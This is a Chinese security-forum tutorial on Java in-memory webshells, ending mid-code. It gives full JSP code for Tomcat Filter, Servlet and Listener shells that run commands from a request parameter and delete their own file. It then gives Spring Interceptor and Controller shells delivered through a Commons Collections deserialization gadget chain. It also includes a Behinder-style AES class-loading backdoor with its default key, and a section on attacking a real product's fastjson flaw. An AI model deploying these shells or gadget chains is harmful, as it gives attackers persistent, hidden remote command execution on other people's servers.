问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
内存马即学即用
渗透测试
不同于理论分析文章,这边分为三个部分,从理论到实战,主要是想让大家入门一下内存马的原理,以及学习利用CC链或者fastjson等打内存马的一些坑点还有如何注入内存马连接冰蝎,让师傅们能快速在实战中上手。
目录 == 1. Tomcat三种内存马 2. Spring内存马结合反序列化相关利用 3. 实战利用 一、Tomcat三种内存马 ============= 首先了解下tomcat的三种内存马的原理和简单实用 filter型内存马 ---------- ### Tomcat filter注册流程 FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息 FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息 FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter WebXml:存放 web.xml 中内容的类 ContextConfig:Web应用的上下文配置类 StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet 给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。 调试跟入可以在堆栈中看到filterChain,我们接着查看哪里创建了它 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-60d6d20cf54a30f76b8f2e7f2f5cf080cbd12322.png) 在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7979e33ed572d27b1c37de9775eae9296e939fdf.png) 可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f7b02fd569a4c430575fa8039a636be8b048070e.png) 前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d2cf26e615a9a598caf7d5904a832ebaf693d88c.png) 后面继续跟入这个循环中,这个循环就是遍历`filterMaps`,去匹配当前请求的url与`filterMap`中的`urlpatter`,如果相就进入if调用`findFilterConfig`方法找到对应FilterName的`filterConfig`。如果`filterConfig`不为空就进入addFilter,我们继续跟入 可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-54675ab267cfaa52e86b2dcbc4a7db998df135b1.png) 最终遍历完出来就完成了`filterChain`的一个组装 回到StandardWrapperValve中调用 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2a79a0246535987f8935d2014461d90d4827763c.png) 跟进发现它又会调用`internalDoFilter`方法 这里会获取到所有的`filterConfig`然后依次进入到我们定义的`doFilter`方法中执行 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-5af5f0543b6832ddb3f102d6d535cc3483bf0654.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-c91085ad71d9470dd4736749316d84ae45f8a8b6.png) 我们跟据这个图理解filterConfig、filterMaps、filterDefs ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-9897482f0b8586c68114c3a7e4753c6fb3ff247c.png) 其中filterConfigs也存放了context,两个context是一样的 根据上面的分析我们了解到,如果要实现filter类型内存马 大致流程如下: 1. 创建一个恶意 Filter 2. 利用 FilterDef 对 Filter 进行一个封装 3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig 4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发) ```java <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.File" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "Qiu"; // 获取StandardContext ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //获取filterConfigs Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); //判断没有被注册 if (filterConfigs.get(name) == null) { // 创建恶意的filter Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request1 = (HttpServletRequest) servletRequest; if (request1.getParameter("qiu") != null) { byte[] bytes = new byte[1024]; Process process = Runtime.getRuntime().exec(request1.getParameter("qiu")); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } } @Override public void destroy() { } }; //获取filterDef,设置filter、类名、类 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); //将filterDef添加进入filterDefs standardContext.addFilterDef(filterDef); //获取filterMap,设置UrlPattern、类名 FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); //因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3 filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位 standardContext.addFilterMapBefore(filterMap); //利用反射创建filterConfigs,并添加filterDef和StandardContext Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); //将filterConfig放入filterConfigs中 filterConfigs.put(name, filterConfig); out.println("Hack success!"); //文件自毁 (new File(application.getRealPath(request.getServletPath()))).delete(); } %> ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-865ec4037647be838dcd43fdb87ef6255cd12bb6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-38401e3e6fb4978e0e3bb9afed71726f7f89ccca.png) Servlet型内存马 ----------- 这里我们直接看实现类 `ApplicationContext` 的 `addServlet` 方法。 ```java private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map initParams) throws IllegalStateException { //servlet不为空 if (servletName != null && !servletName.equals("")) { this.checkState("applicationContext.addServlet.ise"); //根据name在context中的children中找到wrapper Wrapper wrapper = (Wrapper)this.context.findChild(servletName); //如果wrapper不存在则创建 if (wrapper == null) { wrapper = this.context.createWrapper(); wrapper.setName(servletName); //添加到context的children中 this.context.addChild(wrapper); } else if (wrapper.getName() != null && wrapper.getServletClass() != null) { if (!wrapper.isOverridable()) { return null; } wrapper.setOverridable(false); } //都是为了设置servletClass ServletSecurity annotation = null; if (servlet == null) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(this.context, servletClass); if (clazz != null) { annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (this.context.wasCreatedDynamicServlet(servlet)) { annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null) { Iterator var9 = initParams.entrySet().iterator(); while(var9.hasNext()) { Map.Entry initParam = (Map.Entry)var9.next(); wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue()); } } //用ApplicationServletRegistration创建对象并返回 ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context); if (annotation != null) { registration.setServletSecurity(new ServletSecurityElement(annotation)); } return registration; } else { throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName})); } } ``` 接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法 ```java public Set addMapping(String... urlPatterns) { if (urlPatterns == null) { //为空返回一个不可变的Set对象 return Collections.emptySet(); } else { Set conflicts = new HashSet(); String[] var3 = urlPatterns; int var4 = urlPatterns.length; int var5; String urlPattern; //遍历urlPatterns数组,就是一个去重操走 for(var5 = 0; var5 < var4; ++var5) { urlPattern = var3[var5]; String wrapperName = this.context.findServletMapping(urlPattern); if (wrapperName != null) { Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName); if (wrapper.isOverridable()) { this.context.removeServletMapping(urlPattern); } else { conflicts.add(urlPattern); } } } if (!conflicts.isEmpty()) { return conflicts; } else { var3 = urlPatterns; var4 = urlPatterns.length; //向context中添加urlPattern和对应的wrapper for(var5 = 0; var5 < var4; ++var5) { urlPattern = var3[var5]; this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName()); } if (this.constraint != null) { this.context.addServletSecurity(this, this.constraint); } return Collections.emptySet(); } } } ``` 注意到向context中添加URL和对应的wrapper中调用了一个`addServletMappingDecoded`方法 通过这个方法向`servletMappings`添加处理后的,urlPattern和name ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-52fa49ca9657f93862901c4be82fa859f646931b.png) 所以创建servlet内存马的步骤和之前类似,可以分为 - 创建恶意Servlet - 用Wrapper对其进行封装 - 添加封装后的恶意Wrapper到StandardContext的children当中 - 添加ServletMapping将访问的URL和Servlet进行绑定 - 同时在 servletMappings 中添加 URL 路径与 name 的映射。 ```java <%@ page contentType="text/html;charset=UTF-8"%> <%@ page import = "org.apache.catalina.core.*"%> <%@ page import = "javax.servlet.*"%> <%@ page import = "javax.servlet.http.*"%> <%@ page import = "java.io.*"%> <%@ page import = "java.lang.reflect.Field"%> <% // 创建恶意Servlet class QiuServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { HttpServletRequest request1 = (HttpServletRequest) req; HttpServletResponse response1 = (HttpServletResponse) resp; if (request1.getParameter("qiu") != null) { byte[] bytes = new byte[1024]; Process process = Runtime.getRuntime().exec(request1.getParameter("qiu")); int len = process.getInputStream().read(bytes); resp.getWriter().write(new String(bytes,0,len)); process.destroy(); return; }else { response1.sendError(HttpServletResponse.SC_NOT_FOUND); } } @Override public void destroy() { } } final String name = "Qiu"; // 获取StandardContext ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //用Wrapper对其进行封装 QiuServlet qiuServlet = new QiuServlet(); org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper(); qiuWrapper.setName(name); qiuWrapper.setLoadOnStartup(1); qiuWrapper.setServlet(qiuServlet); qiuWrapper.setServletClass(qiuServlet.getClass().getName()); //添加封装后的恶意Wrapper到StandardContext的children当中 standardContext.addChild(qiuWrapper); // 同时在 servletMappings 中添加 URL 路径与 name 的映射 standardContext.addServletMappingDecoded("/Qiu", name); out.println("Hack success!"); //销毁 (new File(application.getRealPath(request.getServletPath()))).delete(); %> ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-47092f026ff371663e8982d2e5366d7a7ab87053.png) Listener型内存马 ------------ - ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁) - ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性) - ServletRequestListener:对 Request 请求进行监听(创建、销毁) - ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性) - javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听 - javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听 在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。 我们在`requestInitialized`处打个断点 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-6d9a2fcb764ec785c425a711f996be99447cb7b4.png) 查看栈帧定位到StandardHostValve的invoke方法 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3a7397ba84ce7a177ffce0bf0a06d9e0789f7083.png) 我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-790516e5dcbc10b10aeed7ed2ba1f4c578ae2ef8.png) listener存放在applicationEventListenersList属性中 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7b2b2bc4fcd1773c744384d331b367054be08861.png) 我们同样在StandardContext中找到相关的add方法 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-6585138bc7edb8d99d58fa29eb732e86a08e8039.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a5a2328c763b8756ffef290b93e22a7af7c3fd7a.png) 所以listener型的内存马注入很简单,就两步 - 创建恶意listener - 将恶意listener添加到applicationEventListener中 ```java <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.io.File" %> <% //创建恶意listener class QiuListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("qiu") != null) { InputStream in = null; boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } try { String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")}; in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A" ); String out = scanner.hasNext() ? scanner.next() : ""; Field requestFiled = req.getClass().getDeclaredField("request" ); requestFiled.setAccessible(true); Request request = (Request) requestFiled.get(req); request.getResponse().getWriter().write(out); }catch (Exception e) { } } } @Override public void requestInitialized(ServletRequestEvent sre) { } } // 获取StandardContext ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //将恶意listener添加到applicationEventListener中 QiuListener qiuListener = new QiuListener(); standardContext.addApplicationEventListener(qiuListener); out.println("Hack success!"); // //销毁 (new File(application.getRealPath(request.getServletPath()))).delete(); %> ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-936a948e76110a8b655fc16f9b8aaab7e2a5ab31.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-698be17d4da30bce07751eb239081a5bf2ca605e.png) Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。 二、Spring内存马结合反序列化相关利用 ===================== 环境 == 方便起见直接用SpringBoot了 ```php <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.4.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies> </project> ``` 漏洞点 ```php @RestController public class VulController { @RequestMapping("/vul") @ResponseBody public String vul(HttpServletRequest request, HttpServletResponse response, String payload) throws IOException, ClassNotFoundException { if (payload != null) { System.out.println(payload); byte[] decode = Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); return "attack success"; } return "payload null"; } } ``` Interceptor内存马利用 ================ 上面讲的是tomcat内存马相关,这里再利用spring的内存马进行实际环境演示,其实原理都可以举一反三。 一、准备 ---- 我们知道,将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中即可注册一个拦截器。 如下 ```java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import java.lang.reflect.Field; public class InterMemShell extends AbstractTranslet { static { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class); Field field = null; field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = null; adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); String className = "magicInterceptor"; //加载magicInterceptor类的字节码 String b64 = "base64 class"; byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64); java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); m0.setAccessible(true); m0.invoke(classLoader, className, bytes, 0, bytes.length); //添加com.example.spring.magicInterceptor类到adaptedInterceptors adaptedInterceptors.add(classLoader.loadClass(className).newInstance()); } catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 所以我们还需要一个类名为magicInterceptor(可以自定义,当然也要修改上面的className)的拦截器,重写preHandle方法。 ```java import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.lang.reflect.Method; import java.util.HashMap; public class magicInterceptor extends HandlerInterceptorAdapter{ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("qiu"); if(code != null){ try { java.io.PrintWriter writer = response.getWriter(); String o = ""; ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); }else{ p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }catch (Exception e){ e.printStackTrace(); } return false; } return true; } } ``` 我这里利用CC3的LazyMap + TemplatesImpl链子打 ```java package Qiu; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl(); Class templateClass = templates.getClass(); Field nameFiled = templateClass.getDeclaredField("_name" ); nameFiled.setAccessible(true); nameFiled.set(templates, "qiuqiu"); Field bytecodesFiled = templateClass.getDeclaredField("_bytecodes" ); bytecodesFiled.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("xxx.class")); byte[][] codes = {code}; bytecodesFiled.set(templates, codes); Field _tfField = templateClass.getDeclaredField("_tfactory"); _tfField.setAccessible(true); _tfField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null)}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap<>(); Map Lazymap = LazyMap.decorate(map, chainedTransformer); Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, Lazymap); //一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。 Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),// 传入ClassLoader new Class[]{Map.class},// 传入要实现的接口 h);// 传入处理调用方法的InvocationHandler Object o = constructor.newInstance(Override.class, maproxy); serialize(o); //unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } } ``` 再准备一个Base64编码的工具类,因为后面肯定需要对字节码进行编码传输 ```java package Qiu; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class B64Evil { public static void main(String[] args) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("magicInterceptor.class")); System.out.println(Base64.getEncoder().encodeToString(code1)); byte[] code = Files.readAllBytes(Paths.get("ser.bin")); System.out.println(Base64.getEncoder().encodeToString(code)); } } ``` 二、编译利用 ------ 接下来就需要进行编译恶意类了。 有些文章说直接用idea编译的,但是idea编译是会自带那个package包名的,如果有这个最后利用的时候会报.NoClassDefFoundError的错,我也不知道是怎么利用成功的。 所以就得用javac编译,如果直接`javac xxx.java`会报一堆的错误,因为是找不到依赖的,所以需要利用cp参数。这里放出我的命令,这里的jar包我全部放在当前文件夹了。版本的话自行测试。 ```php javac -cp .:spring-web-4.3.28.RELEASE.jar:spring-webmvc-4.3.28.RELEASE.jar:javax.servlet-api-3.1.0.jar:spring-context-4.3.28.RELEASE.jar:spring-beans-4.3.28.RELEASE.jar:spring-core-4.3.28.RELEASE.jar InterMemShell.java ``` 首先编译好`magicInterceptor`(也就是你重写`preHandle`方法的?) 然后对class进行base64编码,放入`InterMemShell`中,然后用同样的命令对`InterMemShell`进行编译 接着利用CC3序列化成ser.bin文件,然后对它进行base64编码打入,发包的时候需要url编码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f4f2503dae5f5a7d9607093dc229e67defd3bd7c.png) 三、注入冰蝎内存马 --------- 先看看冰蝎的? ```php <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%!class U extends ClassLoader{ U(ClassLoader c){super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length);} }%> <%if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %> ``` 将之前的?替换为冰蝎的逻辑 ```java public class magicInterceptor extends HandlerInterceptorAdapter{ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HttpSession session = request.getSession(); HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); try { if (request.getMethod().equals("POST")) { String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } } catch (Exception e){ e.printStackTrace(); } return true; } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-70f8f20b717108f3d1bc2e0db0f53fe15a506596.png) Controller内存马利用 =============== 冰蝎逻辑马子 ```java import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.lang.reflect.Method; import java.util.HashMap; public class magicController { public void shell() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put("request",request); pageContext.put("response",response); pageContext.put("session",session); try { if (request.getMethod().equals("POST")) { String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } } catch (Exception e){ e.printStackTrace(); } } } ``` 注入恶意controller内存马 ```java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Method; public class ConMemShell extends AbstractTranslet { static { try { String className = "magicController"; //加载magicController类的字节码 String b64 = "b64"; byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(b64); java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class}); m.setAccessible(true); m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{className, d, 0, d.length}); WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); PatternsRequestCondition url = new PatternsRequestCondition("/qiu"); RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null); RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class); Method mm = Class.forName(className).getMethod("shell"); rs.registerMapping(info, Class.forName(className).newInstance(), mm); }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 同样利用CC3打注入,成功连接 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d27faab79665855474e2c1665051ae6f9b90328a.png) 三、实战利用 ====== 目标是某云匣子的fastjson漏洞,关于漏洞分析可以看网上其他文章。 问题 -- 开始是简单的想到利用CC3加载恶意类,但是后面尝试发现是不行的。因为我们在CC链的时候了解过, 在jdk8u71之后,代理类AnnotationInvocationHandler中的this.memberValues被替换为了linkedhashmap,所以会报错没有entrySet键。 解决 -- 因为CC6是不受版本限制的,我们可以利用TemplatesImpl改造它参考这个师傅 <https://f4de-bak.github.io/pages/ca9de1/#%E6%94%B9%E9%80%A0cc6> 具体代码为 ```java package Qiu; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import 